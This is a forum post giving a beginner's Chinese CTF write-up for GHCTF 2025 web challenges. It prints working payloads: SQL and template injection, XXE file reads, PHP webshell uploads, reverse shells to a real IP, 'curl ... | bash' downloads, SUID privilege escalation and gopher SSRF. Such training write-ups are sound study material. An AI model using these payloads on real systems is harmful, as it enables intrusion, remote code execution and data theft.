马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。
您需要 登录 才可以下载或查看,没有账号?立即注册
×
ctf萌新第一次写wp,如有错误请师傅们指出
[GHCTF 2025]SQL???
打开靶机是一个用户查询的页面,团结标题名称推测是sql注入,但是通例方法都试过了没办法注入,其时也是很懵逼,厥后一个同砚用sqlmap一扫说是提示sqlite注入,这才名顿开。
sqlite是除mysql外另一个数据库,语法与mysql相比轻微有点差异,但是注入过程大同小异,csdn一搜sqlite注入过程就做出来了,这个题乃至连过滤都没有。
查字段数
- ?id=1 union select 1,2,3,4,5
复制代码
查表名和列名
- ?id=1 union select 1,2,(select sql from sqlite_master limit 0,1),4,5;
复制代码
查询数据
- ?id=1 union select 1,2,(select group_concat(flag) from flag),4,5;
复制代码- union select 1,2,3,sqlite_version(),(select group_concat(flag) from flag)--
复制代码 得到flag
官方wp
查字段数
检察表
- union select 1,2,3,sqlite_version(),(select sql from sqlite_master limit 0,1)---
复制代码 查数据
- union select 1,2,3,sqlite_version(),(select group_concat(flag) from flag)--
复制代码 [GHCTF 2025](>﹏<)
打开是一段代码
- from flask import Flask,request
- import base64
- from lxml import etree
- import re
- app = Flask(__name__)
-
- @app.route('/')
- def index():
- return open(__file__).read()
-
-
- @app.route('/ghctf',methods=['POST'])
- def parse():
- xml=request.form.get('xml')
- print(xml)
- if xml is None:
- return "No System is Safe."
- parser = etree.XMLParser(load_dtd=True, resolve_entities=True)
- root = etree.fromstring(xml, parser)
- name=root.find('name').text
- return name or None
-
-
-
- if __name__=="__main__":
- app.run(host='0.0.0.0',port=8080)
复制代码 看到flask看到lxml,差不多能猜到是xxe毛病,毛病点是第18行这段代码和lxml库的利用。
我们看到可以在/ghctf目次下利用post方式传参xml,这里只须要对xml构造xxe攻击payload即可。
实验在ghctf路由下post传入xml的值
- <!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///flag">]><root><name>&xxe;</name></root>
复制代码 发现无法传入,我们实验抓包上传
直接上传的话会报500错误,我们须要把xml的值url编码一下再上传
拿到flag
官方wp
- <?xml version="1.0"?>
- <!DOCTYPE test[
- <!ENTITY nn SYSTEM "file:///flag">
- ]>
- <user>
- <name>&nn;</name>
- <age>18</age>
- </user>
复制代码 [GHCTF 2025]UPUPUP
这个题我不会,直接看官方wp
官方wp
考点:getimagesize和exif_imagetype绕过
apache 的服务器, 很轻易想到 .htaccess;但是后端检测了 mine 范例, 如果直接在 .htaccess 开头加⼊ GIF89A 的话访问整个 images ⽬录下的⽂件都会爆500, 会出现语法错误。.htaccess 通过 # 来表明, 厥后相识到另有 \x00
.htacess
- #define width 1
- #define height 1
- <FilesMatch "hey.hey">
- SetHandler application/x-httpd-php
- </FilesMatch>
复制代码 然后上传hey.hey,content-type是image/jpeg
- #define width 1
- #define height 1
- <?php eval($_REQUEST[1]);?>
复制代码 蚁剑毗连检察flag即可
[GHCTF 2025]ez_readfile
打开是一段代码
- <?php
- show_source(__FILE__);
- if (md5($_POST['a']) === md5($_POST['b'])) {
- if ($_POST['a'] != $_POST['b']) {
- if (is_string($_POST['a']) && is_string($_POST['b'])) {
- echo file_get_contents($_GET['file']);
- }
- }
- }
- ?>
复制代码 三个if判定是md5强碰撞,这个我们可以用fastcoll天生md5碰撞字符
fastcoll的用法
我们找到fastcoll文件路径,找到fastcoll.exe
我们在这个文件的文件夹下新建一个1.txt,名字恣意,然后往里恣意输入一些内容好比一个数字1
然后生存这个文件,关闭,把他拖进fastcoll,一段时间后会天生两个文件
直接打开的话这两个文件都是乱码状态,我们可以利用脚本输出url格式
- <?php
- class CDUTSEC{
- public $var1;
- public $var2;
- }
-
- $tr = new CDUTSEC();
- $tr->var1 = file_get_contents('E:\\1_msg1.txt');
- $tr->var2 = file_get_contents('E:\\1_msg2.txt');
-
- echo urlencode($tr->var1);
- echo "\n\n";
- echo urlencode($tr->var2);
复制代码 修改刚才天生的两个文件的路径,运行这段代码,就可以得到颠末url编码的两个颠末md5强碰撞的值
然后就可以向靶机传入a和b的值,三个if判定条件就都可以满意
这里注意不能直接从网页传参,要用bp抓包传参,由于url解码后存在%00不可见字符,直接传参会被吞,利用bp抓包传参就可以克制这种环境。
可以看到已经可以读取文件/etc/passwd,阐明判定已经买通,下面就是怎样读取flag的标题。
这里用到的知识点是CVE-2024-2961毛病,即file_get_contents文件读取rce毛病
我们可以利用脚本将这里的文件读取变成恣意下令实验。
这里我们须要用到两个文件,通过恣意文件下载获取目的的/proc/self/maps和libc-2.x.so,在本机和php-filter-iconv.py放在同目次,然后运
行脚本即可天生php://filter/的RCE payload
maps文件路径就是/proc/self/maps,而libc-2.x.so文件的路径在maps文件内里,我们在maps文件中搜刮libc-2,检察文件路径。由于直接访问so文件读出来是乱码,以是可以filter协议base64格式读取,然后cyberchef解base64编码直接下载解码文件用就可以。
这里我们须要修改三个地方,第一个是第338行的maps,把生存的maps.txt文件生存到和脚本同一目次下,改成我们本地的maps文件的名字。第二个就是cmd的值,这里是一个反弹shell的下令,我们也可以将一句话木马写入shell.php访问。第三个就是352行的so文件的名字,同样的把下载的文件放在和脚本同一目次下,修改名字,然后就可以运行了,得到payload,运行,读取flag。
官方wp(非预期解法)
阅读官方wp后我相识到这种题有一种非预期解法,那就是敏感文件读取。这里引用一下wp的原话。
有出过题的,⼤部门都是采⽤GitHub - CTF-Archives/ctf-docker-template: Deployment template for docker target machine in ctf for CTFd and other platforms that support dynamic flags 这⾥⾯的模版。⼀般出题过程中,为了⽅便,不去修改dockerfile⽂件,都会直接在容器内修改,然后再 commit⽣成镜像。 ⾥⾯的php出题模版中,有⼀个容器启动下令⽂件docker-entrypoint.sh。可以看到该下令⽂件在容器初 始化后就会被删掉。但是在提交⽣成镜像后,由镜像⽣成容器⼜须要运⾏该⽂件。因此有的出题者为了 ⽅便大概就不删除该⽂件,这时间就可以碰碰运⽓,看看出题者有没有把这个⽂件删掉。没有删掉,就 可以大概获取路径。
以是我们可以直接访问docker-entrypoint.sh文件,看一下能不能直接找到flag文件储存的位置。
这里读到了flag的储存位置,我们直接访问
乐成拿到flag。
[GHCTF 2025]upload?SSTI!
打开靶机是一个文件上传页面,标题提示是ssti,以是我们开始找注入点,文件上传ssti常见注入点是文件名和文件内容。我们实验上传t1.txt文件,文件内容是{{2*2}},发现上传乐成,路径是/app/static/uploads/1.txt,但是这个路径我们似乎并不能直接访问。这个题另有一个附件刚才没注意,我们下载附件检察一下发现是源码,我们看到render_template_string是ssti毛病点,往上面找/file目次下的文件是我们要读的文件。我们读取/file/1.txt,页面回显4,确定存在ssti毛病,但是源码中过滤了很多东西,这里我们利用过滤器来举行绕过。
- 1.绕过了下划线,我们利用select|string绕过
- {%set xhx=({}|select()|string())[24]%}
- 2.过滤了os,我们利用dict拼接绕过
- {%set o=dict(o=1,s=2)|join%}
- 3.过滤了subclasses,我们同样利用dict拼接绕过,但是ssti注入时格式是__subclasses__,所以要用到xhx绕过的下划线
- {%set sub=(xhx,xhx,dict(subcla=1,sses=2)|join,xhx,xhx)|join%}
- 4.其他同理
复制代码 如许一来我们得到了一长串可以举行绕过的过滤器
- {%set xhx=({}|select()|string())[24]%}
- {%set glo=(xhx,xhx,dict(glo=1,bals=2)|join,xhx,xhx)|join%}
- {%set cla=(xhx,xhx,dict(cla=1,ss=2)|join,xhx,xhx)|join%}
- {%set bas=(xhx,xhx,dict(ba=1,se=2)|join,xhx,xhx)|join%}
- {%set sub=(xhx,xhx,dict(subcla=1,sses=2)|join,xhx,xhx)|join%}
- {%set ini=(xhx,xhx,dict(ini=1,t=2)|join,xhx,xhx)|join%}
- {%set pop="nepop"|reverse%}
- {%set o=dict(o=1,s=2)|join%}
- {{config[ini][glo][o][pop]("cat /fla*").read()}}
复制代码 上传访问/file/1.txt得到flag
官方wp
官方给出的wp是利用request.args来绕过
- {{""[request.args.x1][request.args.x2][0][request.args.x3]()[137][request.args.x4][request.args.x5]['popen']('cat /f*').read()}}
- ?x1=__class__&x2=__bases__&x3=__subclasses__&x4=__init__&&x5=__globals__
复制代码
[GHCTF 2025]Message in a Bottle
一个留言板,刚开始以为是xss毛病,实验alert也确实弹窗,但是一顿操纵下来发现xss毛病无法获取flag,我们看一下附件带的源代码
- from bottle import Bottle, request, template, run
-
-
- app = Bottle()
-
- # 存储留言的列表
- messages = []
- def handle_message(message):
- message_items = "".join([f"""
- <div class="message-card">
- <div class="message-content">{msg}</div>
- <small class="message-time">#{idx + 1} - 刚刚</small>
- </div>
- """ for idx, msg in enumerate(message)])
-
- board = f"""<!DOCTYPE html>
- <html lang="zh">
- <head>
- <meta charset="UTF-8">
- <meta name="viewport" content="width=device-width, initial-scale=1.0">
- <title>简约留言板</title>
- <link href="https://cdn.bootcdn.net/ajax/libs/twitter-bootstrap/5.1.3/css/bootstrap.min.css" rel="stylesheet">
- <style>
- :root {{
- --primary-color: #4a90e2;
- --hover-color: #357abd;
- --background-color: #f8f9fa;
- --card-background: #ffffff;
- --shadow-color: rgba(0, 0, 0, 0.1);
- }}
-
- body {{
- background: var(--background-color);
- min-height: 100vh;
- padding: 2rem 0;
- font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
- }}
-
- .container {{
- max-width: 800px;
- background: var(--card-background);
- border-radius: 15px;
- box-shadow: 0 4px 6px var(--shadow-color);
- padding: 2rem;
- margin-top: 2rem;
- animation: fadeIn 0.5s ease-in-out;
- }}
-
- @keyframes fadeIn {{
- from {{ opacity: 0; transform: translateY(20px); }}
- to {{ opacity: 1; transform: translateY(0); }}
- }}
-
- .message-card {{
- background: var(--card-background);
- border-radius: 10px;
- padding: 1.5rem;
- margin: 1rem 0;
- transition: all 0.3s ease;
- border-left: 4px solid var(--primary-color);
- box-shadow: 0 2px 4px var(--shadow-color);
- }}
-
- .message-card:hover {{
- transform: translateX(10px);
- box-shadow: 0 4px 8px var(--shadow-color);
- }}
-
- .message-content {{
- font-size: 1.1rem;
- color: #333;
- line-height: 1.6;
- margin-bottom: 0.5rem;
- }}
-
- .message-time {{
- color: #6c757d;
- font-size: 0.9rem;
- display: block;
- margin-top: 0.5rem;
- }}
-
- textarea {{
- width: 100%;
- height: 120px;
- padding: 1rem;
- border: 2px solid #e9ecef;
- border-radius: 10px;
- resize: vertical;
- font-size: 1rem;
- transition: border-color 0.3s ease;
- }}
-
- textarea:focus {{
- border-color: var(--primary-color);
- outline: none;
- box-shadow: 0 0 0 3px rgba(74, 144, 226, 0.1);
- }}
-
- .btn-custom {{
- background: var(--primary-color);
- color: white;
- padding: 0.8rem 2rem;
- border-radius: 10px;
- border: none;
- transition: all 0.3s ease;
- font-weight: 500;
- text-transform: uppercase;
- letter-spacing: 0.05rem;
- }}
-
- .btn-custom:hover {{
- background: var(--hover-color);
- transform: translateY(-2px);
- box-shadow: 0 4px 8px var(--shadow-color);
- }}
-
- h1 {{
- color: var(--primary-color);
- text-align: center;
- margin-bottom: 2rem;
- font-weight: 600;
- font-size: 2.5rem;
- text-shadow: 2px 2px 4px var(--shadow-color);
- }}
-
- .btn-danger {{
- transition: all 0.3s ease;
- padding: 0.6rem 1.5rem;
- border-radius: 10px;
- text-transform: uppercase;
- letter-spacing: 0.05rem;
- }}
-
- .btn-danger:hover {{
- transform: translateY(-2px);
- box-shadow: 0 4px 8px var(--shadow-color);
- }}
-
- .text-muted {{
- font-style: italic;
- color: #6c757d !important;
- }}
-
- @media (max-width: 576px) {{
- h1 {{
- font-size: 2rem;
- }}
- .container {{
- padding: 1.5rem;
- }}
- .message-card {{
- padding: 1rem;
- }}
- }}
- </style>
- </head>
- <body>
- <div class="container">
- <div class="d-flex justify-content-between align-items-center mb-4">
- <h1 class="mb-0">📝 简约留言板</h1>
- <a
- href="/Clean"
- class="btn btn-danger"
- onclick="return confirm('确定要清空所有留言吗?此操作不可恢复!')"
- >
- 🗑️ 一键清理
- </a>
- </div>
-
- <form action="/submit" method="post">
- <textarea
- name="message"
- placeholder="输入payload暴打出题人"
- required
- ></textarea>
- <div class="d-grid gap-2">
- <button type="submit" class="btn-custom">发布留言</button>
- </div>
- </form>
-
- <div class="message-list mt-4">
- <div class="d-flex justify-content-between align-items-center mb-3">
- <h4 class="mb-0">最新留言({len(message)}条)</h4>
- {f'<small class="text-muted">点击右侧清理按钮可清空列表</small>' if message else ''}
- </div>
- {message_items}
- </div>
- </div>
- </body>
- </html>"""
- return board
-
-
-
- def waf(message):
- return message.replace("{", "").replace("}", "")
-
-
- @app.route('/')
- def index():
- return template(handle_message(messages))
-
-
- @app.route('/Clean')
- def Clean():
- global messages
- messages = []
- return '<script>window.location.href="/"</script>'
-
- @app.route('/submit', method='POST')
- def submit():
- message = waf(request.forms.get('message'))
- messages.append(message)
- return template(handle_message(messages))
-
-
- if __name__ == '__main__':
- run(app, host='localhost', port=9000)
复制代码 看末了就可以了,源码可以看出这是一个以bottle为模板的ssti毛病,而且过滤了大括号。
ssti好说,过滤这个大括号就难办很多,颠末多次实验绕过无果,遂查找bottle官方文档
https://bottlepy.org/docs/dev/stpl.html#embedded-python-code
可以看到没有大括号的环境下仍旧有办法实验python代码
- <div>
- % if True:
- <span>content</span>
- % end
- </div>
复制代码 由于if判定有一个特性:
if语句在模板渲染时肯定会实验条件表达式(无论条件真假)
也就是说只要把代码写在if背面就肯定能实验写入的代码
我们导入os模块
- <div>
- % if __import__('os').popen('sleep 4').read():
- 123
- % end
- </div>
复制代码 看到页面确实停顿了四秒,下令乐成实验,我们实验读取目次文件
- <div>
- % if __import__('os').popen('ls /').read():
- 123
- % end
- </div>
复制代码 没有回显,只能实验反弹shell
在自己的服务器监听6666端口
然后传入payload
- <div>
- % if __import__('os').popen("bash -c 'bash -i >& /dev/tcp/123.56.103.169/6666 0>&1'").read():
- 123
- % end
- </div>
复制代码 服务器乐成弹到shell
然后就可以读取根目次文件,找到flag
另一种解法
在SimpleTemplate模板下我们可以使⽤ % 来执⾏python代码。
如许就可以绕过 { 了,但是我们的 % 地点的那⼀⾏ % 的前面只能有空缺字符,我们直接换行即可
-
- % __import__('os').popen("bash -c 'bash -i >& /dev/tcp/123.56.103.169/4444 0>&1'").read()
-
复制代码 弹到shell,读取flag
官方wp
同样是嵌入python代码,在SimpleTemplate模板下我们可以使⽤ % 来执⾏python代码,但是%地点的那一行的前面只能有空缺字符,我们直接换行即可
- %__import__('os').popen("python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("111.xxx.xxx.xxx",7777));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")'").read()
复制代码
[GHCTF 2025]GetShell
特殊长一串代码,直接扔给ai,给出payload: action=run&input=xxx
input背面的内容是可以实验的,我们实验ls /;,发现空格过滤,绕过一下
有回显,实验cat /flag,不出不测是没有回显的,实验反弹shell。一番操纵下来直接在input写bash似乎不可,那就先在input这里写一个马,然后马文件下再写反弹shell
起首在服务器终端输入
- python3 -m http.server 2333
复制代码 开放2333端口,使文件可以被访问,然后在靶机传入
- ?action=run&input=echo${IFS}"PD9waHAgZXZhbCgkX1BPU1RbMF0pO3BocGluZm8oKTs/Pg=="|${IFS}base64${IFS}-d>1.php
复制代码 把一句话马写进1.php,访问这个文件,查抄一句话木马是否能用,然后准备反弹shell
新开一个服务器终端,输入
开放4444端口
在1.php页面下post传入
- 0=system("curl http://123.56.103.169:6666/1.txt|bash");
复制代码 检察服务器终端是否乐成弹到shell
出现connection即为反弹乐成,实验读取flag,发现没有权限访问,我们这里举行suid提权
起首find探求有root权限的文件
- find / -perm -4000 2>/dev/null
复制代码
看到wc文件,利用这个文件读flag
我们先
发现指令
- /var/www/html/wc --files0-from=/flag
复制代码 拿到flag
[GHCTF 2025]Goph3rrr
dirsearch扫出泉源码,代码审计发现是一个ssrf毛病
由于Manage路由下post传入cmd能在os模块中实验下令,这里就是我们要利用的点,我们先在Manage路由下抓一个post包,令cmd=env直接看环境变量
然后由于我们要利用gopher协议,以是这里准备构造post文件头
- POST /Manage HTTP/1.1 Host: 127.0.0.1 Content-Type: application/x-www-form-urlencoded Content-Length: 7
- cmd=env
复制代码 然后在Gopher路由下抓一个get包,打gopher协议
然后这里举行url编码时要注意了,post背面的内容直接两次url编码打不通,颠末大佬点拨才知道编码方式
以是先编码下划线背面的部门,再编码url=背面的部门,我们一步一步来
第一步
第二步
发送哀求包,得到flag
官方wp
- GET /Gopher?url=gopher://127.0.0.2:8000/_POST%2520%252FManage%2520HTTP%252
- F1.1%250Ahost%253A127.0.0.1%250AContent-Type%253Aapplication%252Fx-www-for
- m-urlencoded%250AContent-Length%253A7%250A%250Acmd%253Denv HTTP/1.1
- Host: node2.anna.nssctf.cn:28301
- User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/2010
- 0101 Firefox/136.0
- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
- Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=
- 0.2
- Accept-Encoding: gzip, deflate
- Connection: close
- Cookie: Hm_lvt_648a44a949074de73151ffaa0a832aec=1741071169,1741227966,1741
- 254510,1741338945; Hm_lpvt_648a44a949074de73151ffaa0a832aec=1741357578; HM
- ACCOUNT=CAF3E7684A636B01
- Upgrade-Insecure-Requests: 1
- Priority: u=0, i
复制代码 不外不知道为什么官方wp我打不通
[GHCTF 2025]Popppppp
很显着的php反序列化,开始探求链尾
一脸懵逼的找了一圈没找到寻常要找的类似eval的能实验下令的地方,这个题我直接在开头卡住了
厥后颠末师哥提示这个题的做法是php原生类反序列化
参考文章
CTF中PHP原生类的妙用 | X1ong
从文章里我们可以看到两个原生类,一个是列出目次文件类,一个是读取文件内容类,二者代码差不多,我们跟这道题来对比一下
- <?php
- highlight_file(__FILE__);
- $dir = $_GET['x1ongsec'];
- $obj = new DirectoryIterator($dir);
- foreach ($obj as $file) {
- echo $file->__toString() . "</br>";
- }
复制代码 本题关键部门源码
- class Mystery {
-
- public function __get($arg1) {
- array_walk($this, function ($day1, $day2) {
- $day3 = new $day2($day1);
- foreach ($day3 as $day4) {
- echo ($day4 . '<br>');
- }
- });
- }
- }
复制代码 可以看到
- $obj = new DirectoryIterator($dir);
- foreach ($obj as $file) {
- echo $file->__toString() . "</br>";
-
- $day3 = new $day2($day1);
- foreach ($day3 as $day4) {
- echo ($day4 . '<br>');
复制代码 很显着day2=DirectoryIterator,day1=要检察的文件的路径
由于本题中day1和day2的值由array_walk的结果决定,array_walk对当前类举行遍历,以是我们要在当前类添加一个public属性,如许一来属性名就是day2,属性内容就是day1。
以是我们添加一个
- public $DirectoryIterator='/';
复制代码 就可以利用这个原生类来检察文件目次了
但是如许还不敷,我们从链尾开始顺着网上找发现Philosopher类有一个md5弱范例比力须要绕过
fruit11颠末两次md5加密须要于666弱比力相称,以是fruit11颠末两次md5加密后只要以666+字母开头的情势就可以了,直接丢给ai让他写脚本,然后我们在纯数字里探求由于如许找的快,很快跑出来213符合条件,我们令fruit11=213,剩下的链子就很清晰了
payload
运行提交
找到flag存在的文件,我们用另一个原生类读取,用法也很简朴
把DirectoryIterator改成SplFileObject即可,提交payload
拿到flag
|